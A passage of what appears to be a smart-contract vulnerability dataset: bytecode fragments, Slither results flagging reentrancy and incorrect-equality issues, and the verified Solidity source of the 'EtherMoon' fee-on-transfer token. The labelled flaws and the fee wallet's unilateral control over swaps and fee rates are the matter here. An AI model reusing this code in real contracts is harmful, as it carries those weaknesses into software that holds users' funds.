65b90506123e3818461252a90919063ffffffff16565b915050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000808314156124c25760009050612524565b600082846124d09190613a71565b90508284826124df9190613afa565b1461251f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161251690613b9d565b60405180910390fd5b809150505b92915050565b600061256c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506127d4565b905092915050565b600080828461258391906131d9565b9050838110156125c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125bf90613c09565b60405180910390fd5b8091505092915050565b80806125e1576125e0612837565b5b6000806000806125f087612859565b935093509350935061264a84600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128a890919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126df83600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257490919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061272b816128f2565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516127889190612cad565b60405180910390a350505050806127a2576127a16129af565b5b5050505050565b60008060006127b66129ba565b915091506127cd818361252a90919063ffffffff16565b9250505090565b6000808311829061281b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128129190612b5e565b60405180910390fd5b506000838561282a9190613afa565b9050809150509392505050565b60006008541161284657600080fd5b6008546009819055506000600881905550565b60008060008060008061286e87600854612a19565b91509150600061287c6127a9565b905060008061288c8a8585612a6c565b9150915081818686985098509850985050505050509193509193565b60006128ea83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612319565b905092915050565b60006128fc6127a9565b9050600061291382846124af90919063ffffffff16565b905061296781600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257490919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b600954600881905550565b600080600060065490506000678ac7230489e8000090506129ee678ac7230489e8000060065461252a90919063ffffffff16565b821015612a0c57600654678ac7230489e80000935093505050612a15565b81819350935050505b9091565b6000806000612a446064612a3686886124af90919063ffffffff16565b61252a90919063ffffffff16565b90506000612a5b82876128a890919063ffffffff16565b905080829350935050509250929050565b6000806000612a8484876124af90919063ffffffff16565b90506000612a9b85876124af90919063ffffffff16565b90506000612ab282846128a890919063ffffffff16565b9050828194509450505050935093915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612aff578082015181840152602081019050612ae4565b83811115612b0e576000848401525b50505050565b6000601f19601f8301169050919050565b6000612b3082612ac5565b612b3a8185612ad0565b9350612b4a818560208601612ae1565b612b5381612b14565b840191505092915050565b60006020820190508181036000830152612b788184612b25565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612bbf82612b94565b9050919050565b612bcf81612bb4565b8114612bda57600080fd5b50565b600081359050612bec81612bc6565b92915050565b6000819050919050565b612c0581612bf2565b8114612c1057600080fd5b50565b600081359050612c2281612bfc565b92915050565b60008060408385031215612c3f57612c3e612b8a565b5b6000612c4d85828601612bdd565b9250506020612c5e85828601612c13565b9150509250929050565b60008115159050919050565b612c7d81612c68565b82525050565b6000602082019050612c986000830184612c74565b92915050565b612ca781612bf2565b82525050565b6000602082019050612cc26000830184612c9e565b92915050565b600080600060608486031215612ce157612ce0612b8a565b5b6000612cef86828701612bdd565b9350506020612d0086828701612bdd565b9250506040612d1186828701612c13565b9150509250925092565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612d5882612b14565b810181811067ffffffffffffffff82111715612d7757612d76612d20565b5b80604052505050565b6000612d8a612b80565b9050612d968282612d4f565b919050565b600067ffffffffffffffff821115612db657612db5612d20565b5b602082029050602081019050919050565b600080fd5b6000612ddf612dda84612d9b565b612d80565b90508083825260208201905060208402830185811115612e0257612e01612dc7565b5b835b81811015612e2b5780612e178882612bdd565b845260208401935050602081019050612e04565b5050509392505050565b600082601f830112612e4a57612e49612d1b565b5b8135612e5a848260208601612dcc565b91505092915050565b600060208284031215612e7957612e78612b8a565b5b600082013567ffffffffffffffff811115612e9757612e96612b8f565b5b612ea384828501612e35565b91505092915050565b600060208284031215612ec257612ec1612b8a565b5b6000612ed084828501612bdd565b91505092915050565b6000612ee482612b94565b9050919050565b612ef481612ed9565b8114612eff57600080fd5b50565b600081359050612f1181612eeb565b92915050565b600060208284031215612f2d57612f2c612b8a565b5b6000612f3b84828501612f02565b91505092915050565b612f4d81612c68565b8114612f5857600080fd5b50565b600081359050612f6a81612f44565b92915050565b600060208284031215612f8657612f85612b8a565b5b6000612f9484828501612f5b565b91505092915050565b612fa681612bb4565b82525050565b6000602082019050612fc16000830184612f9d565b92915050565b60008060408385031215612fde57612fdd612b8a565b5b6000612fec85828601612bdd565b9250506020612ffd85828601612bdd565b9150509250929050565b60006020828403121561301d5761301c612b8a565b5b600061302b84828501612c13565b91505092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061306a602083612ad0565b915061307582613034565b602082019050919050565b600060208201905081810360008301526130998161305d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061310982612bf2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561313c5761313b6130cf565b5b600182019050919050565b7f436f6e7472616374206d75737420626520696e697469616c697a65642066697260008201527f7374000000000000000000000000000000000000000000000000000000000000602082015250565b60006131a3602283612ad0565b91506131ae82613147565b604082019050919050565b600060208201905081810360008301526131d281613196565b9050919050565b60006131e482612bf2565b91506131ef83612bf2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613224576132236130cf565b5b828201905092915050565b7f436f6e74726163742068617320616c7265616479206265656e20696e6974696160008201527f6c697a6564000000000000000000000000000000000000000000000000000000602082015250565b600061328b602583612ad0565b91506132968261322f565b604082019050919050565b600060208201905081810360008301526132ba8161327e565b9050919050565b6000815190506132d081612bc6565b92915050565b6000602082840312156132ec576132eb612b8a565b5b60006132fa848285016132c1565b91505092915050565b60006040820190506133186000830185612f9d565b6133256020830184612f9d565b9392505050565b7f5465616d206665652063616e6e6f74206265206c6172676572207468616e203160008201527f3025000000000000000000000000000000000000000000000000000000000000602082015250565b6000613388602283612ad0565b91506133938261332c565b604082019050919050565b600060208201905081810360008301526133b78161337b565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061341a602683612ad0565b9150613425826133be565b604082019050919050565b600060208201905081810360008301526134498161340d565b9050919050565b6000819050919050565b6000819050919050565b600061347f61347a61347584613450565b61345a565b612bf2565b9050919050565b61348f81613464565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6134ca81612bb4565b82525050565b60006134dc83836134c1565b60208301905092915050565b6000602082019050919050565b600061350082613495565b61350a81856134a0565b9350613515836134b1565b8060005b8381101561354657815161352d88826134d0565b9750613538836134e8565b925050600181019050613519565b5085935050505092915050565b600060a0820190506135686000830188612c9e565b6135756020830187613486565b818103604083015261358781866134f5565b90506135966060830185612f9d565b6135a36080830184612c9e565b9695505050505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613609602483612ad0565b9150613614826135ad565b604082019050919050565b60006020820190508181036000830152613638816135fc565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061369b602283612ad0565b91506136a68261363f565b604082019050919050565b600060208201905081810360008301526136ca8161368e565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061372d602583612ad0565b9150613738826136d1565b604082019050919050565b6000602082019050818103600083015261375c81613720565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006137bf602383612ad0565b91506137ca82613763565b604082019050919050565b600060208201905081810360008301526137ee816137b2565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613851602983612ad0565b915061385c826137f5565b604082019050919050565b6000602082019050818103600083015261388081613844565b9050919050565b7f596f7572206164647265737320686173206265656e206d61726b65642061732060008201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160208201527f707065616c20796f757220636173652e00000000000000000000000000000000604082015250565b6000613909605083612ad0565b915061391482613887565b606082019050919050565b60006020820190508181036000830152613938816138fc565b9050919050565b7f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e600082015250565b6000613975602083612ad0565b91506139808261393f565b602082019050919050565b600060208201905081810360008301526139a481613968565b9050919050565b60006139b682612bf2565b91506139c183612bf2565b9250828210156139d4576139d36130cf565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613a3b602a83612ad0565b9150613a46826139df565b604082019050919050565b60006020820190508181036000830152613a6a81613a2e565b9050919050565b6000613a7c82612bf2565b9150613a8783612bf2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613ac057613abf6130cf565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613b0582612bf2565b9150613b1083612bf2565b925082613b2057613b1f613acb565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613b87602183612ad0565b9150613b9282613b2b565b604082019050919050565b60006020820190508181036000830152613bb681613b7a565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613bf3601b83612ad0565b9150613bfe82613bbd565b602082019050919050565b60006020820190508181036000830152613c2281613be6565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c126553d629bb41fbefff4266a3589e3b6c068a3b37f57793cf7991f31d41fc964736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
5,038
0xf2bda53ccbffcff37180adc996fbfb247f47bb62
/** *Submitted for verification at Etherscan.io on 2021-07-15 */ /** Website: https://ethermoon.network/ Telegram: https://t.me/EtherMoonOfficial Twitter: https://twitter.com/EtherMoonTeam */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract EtherMoon is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"EtherMoon"; string private constant _symbol = unicode"EMOON"; uint8 private constant _decimals = 9; uint256 private _taxFee = 2; uint256 private _teamFee = 8; uint256 private _feeRate = 5; uint256 private _feeMultiplier = 1000; uint256 private _launchTime; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _maxBuyAmount; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private _cooldownEnabled = true; bool private inSwap = false; bool private _useImpactFeeSetter = true; uint256 private buyLimitEnd; struct User { uint256 buy; uint256 sell; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function setFee(uint256 impactFee) private { uint256 _impactFee = 10; if(impactFee < 10) { _impactFee = 10; } else if(impactFee > 40) { _impactFee = 30; } else { _impactFee = impactFee; } if(_impactFee.mod(2) != 0) { _impactFee++; } _taxFee = (_impactFee.mul(2)).div(10); _teamFee = (_impactFee.mul(10)).div(10); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { if(_cooldownEnabled) { if(!cooldown[msg.sender].exists) { cooldown[msg.sender] = User(0,0,true); } } // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); _taxFee = 2; _teamFee = 10; if(_cooldownEnabled) { if(buyLimitEnd > block.timestamp) { require(amount <= _maxBuyAmount); require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired."); cooldown[to].buy = block.timestamp + (45 seconds); } } if(_cooldownEnabled) { cooldown[to].sell = block.timestamp + (15 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); // sell if(!inSwap && from != uniswapV2Pair && tradingOpen) { if(_cooldownEnabled) { require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired."); } if(_useImpactFeeSetter) { uint256 feeBasis = amount.mul(_feeMultiplier); feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount)); setFee(feeBasis); } if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 2000000000 * 10**9; _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; buyLimitEnd = block.timestamp + (90 seconds); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } // fallback in case contract is not releasing tokens fast enough function setFeeRate(uint256 rate) external { require(_msgSender() == _FeeAddress); require(rate < 51, "Rate can't exceed 50%"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit CooldownEnabledUpdated(_cooldownEnabled); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function timeToBuy(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].buy; } function timeToSell(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].sell; } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610371578063c3c8cd8014610391578063c9567bf9146103a6578063db92dbb6146103bb578063dd62ed3e146103d0578063e8078d941461041657600080fd5b8063715018a6146102c75780638da5cb5b146102dc57806395d89b4114610304578063a9059cbb14610332578063a985ceef1461035257600080fd5b8063313ce567116100fd578063313ce5671461021457806345596e2e146102305780635932ead11461025257806368a3a6a5146102725780636fc3eaec1461029257806370a08231146102a757600080fd5b806306fdde0314610145578063095ea7b31461018957806318160ddd146101b957806323b872dd146101df57806327f3a72a146101ff57600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152600981526822ba3432b926b7b7b760b91b60208201525b6040516101809190611be5565b60405180910390f35b34801561019557600080fd5b506101a96101a4366004611b3d565b61042b565b6040519015158152602001610180565b3480156101c557600080fd5b50683635c9adc5dea000005b604051908152602001610180565b3480156101eb57600080fd5b506101a96101fa366004611afd565b610442565b34801561020b57600080fd5b506101d16104ab565b34801561022057600080fd5b5060405160098152602001610180565b34801561023c57600080fd5b5061025061024b366004611ba0565b6104bb565b005b34801561025e57600080fd5b5061025061026d366004611b68565b610564565b34801561027e57600080fd5b506101d161028d366004611a8d565b6105e3565b34801561029e57600080fd5b50610250610606565b3480156102b357600080fd5b506101d16102c2366004611a8d565b610633565b3480156102d357600080fd5b50610250610655565b3480156102e857600080fd5b506000546040516001600160a01b039091168152602001610180565b34801561031057600080fd5b5060408051808201909152600581526422a6a7a7a760d91b6020820152610173565b34801561033e57600080fd5b506101a961034d366004611b3d565b6106c9565b34801561035e57600080fd5b50601454600160a81b900460ff166101a9565b34801561037d57600080fd5b506101d161038c366004611a8d565b6106d6565b34801561039d57600080fd5b506102506106fc565b3480156103b257600080fd5b50610250610732565b3480156103c757600080fd5b506101d161077f565b3480156103dc57600080fd5b506101d16103eb366004611ac5565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561042257600080fd5b50610250610797565b6000610438338484610b4a565b5060015b92915050565b600061044f848484610c6e565b6104a1843361049c85604051806060016040528060288152602001611dbe602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611210565b610b4a565b5060019392505050565b60006104b630610633565b905090565b6011546001600160a01b0316336001600160a01b0316146104db57600080fd5b603381106105285760405162461bcd60e51b8152602060048201526015602482015274526174652063616e2774206578636565642035302560581b60448201526064015b60405180910390fd5b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6000546001600160a01b0316331461058e5760405162461bcd60e51b815260040161051f90611c38565b6014805460ff60a81b1916600160a81b8315158102919091179182905560405160ff9190920416151581527f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f2870690602001610559565b6001600160a01b03811660009081526006602052604081205461043c9042611d28565b6011546001600160a01b0316336001600160a01b03161461062657600080fd5b476106308161124a565b50565b6001600160a01b03811660009081526002602052604081205461043c906112cf565b6000546001600160a01b0316331461067f5760405162461bcd60e51b815260040161051f90611c38565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610438338484610c6e565b6001600160a01b03811660009081526006602052604081206001015461043c9042611d28565b6011546001600160a01b0316336001600160a01b03161461071c57600080fd5b600061072730610633565b905061063081611353565b6000546001600160a01b0316331461075c5760405162461bcd60e51b815260040161051f90611c38565b6014805460ff60a01b1916600160a01b17905561077a42605a611cdd565b601555565b6014546000906104b6906001600160a01b0316610633565b6000546001600160a01b031633146107c15760405162461bcd60e51b815260040161051f90611c38565b601454600160a01b900460ff161561081b5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161051f565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108583082683635c9adc5dea00000610b4a565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561089157600080fd5b505afa1580156108a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c99190611aa9565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561091157600080fd5b505afa158015610925573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109499190611aa9565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561099157600080fd5b505af11580156109a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c99190611aa9565b601480546001600160a01b0319166001600160a01b039283161790556013541663f305d71947306109f981610633565b600080610a0e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a7157600080fd5b505af1158015610a85573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610aaa9190611bb8565b5050671bc16d674ec800006010555042600d5560145460135460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b158015610b0e57600080fd5b505af1158015610b22573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b469190611b84565b5050565b6001600160a01b038316610bac5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161051f565b6001600160a01b038216610c0d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161051f565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cd25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161051f565b6001600160a01b038216610d345760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161051f565b60008111610d965760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161051f565b6000546001600160a01b03848116911614801590610dc257506000546001600160a01b03838116911614155b156111b357601454600160a81b900460ff1615610e42573360009081526006602052604090206002015460ff16610e4257604080516060810182526000808252602080830182815260018486018181523385526006909352949092209251835590519282019290925590516002909101805460ff19169115159190911790555b6014546001600160a01b038481169116148015610e6d57506013546001600160a01b03838116911614155b8015610e9257506001600160a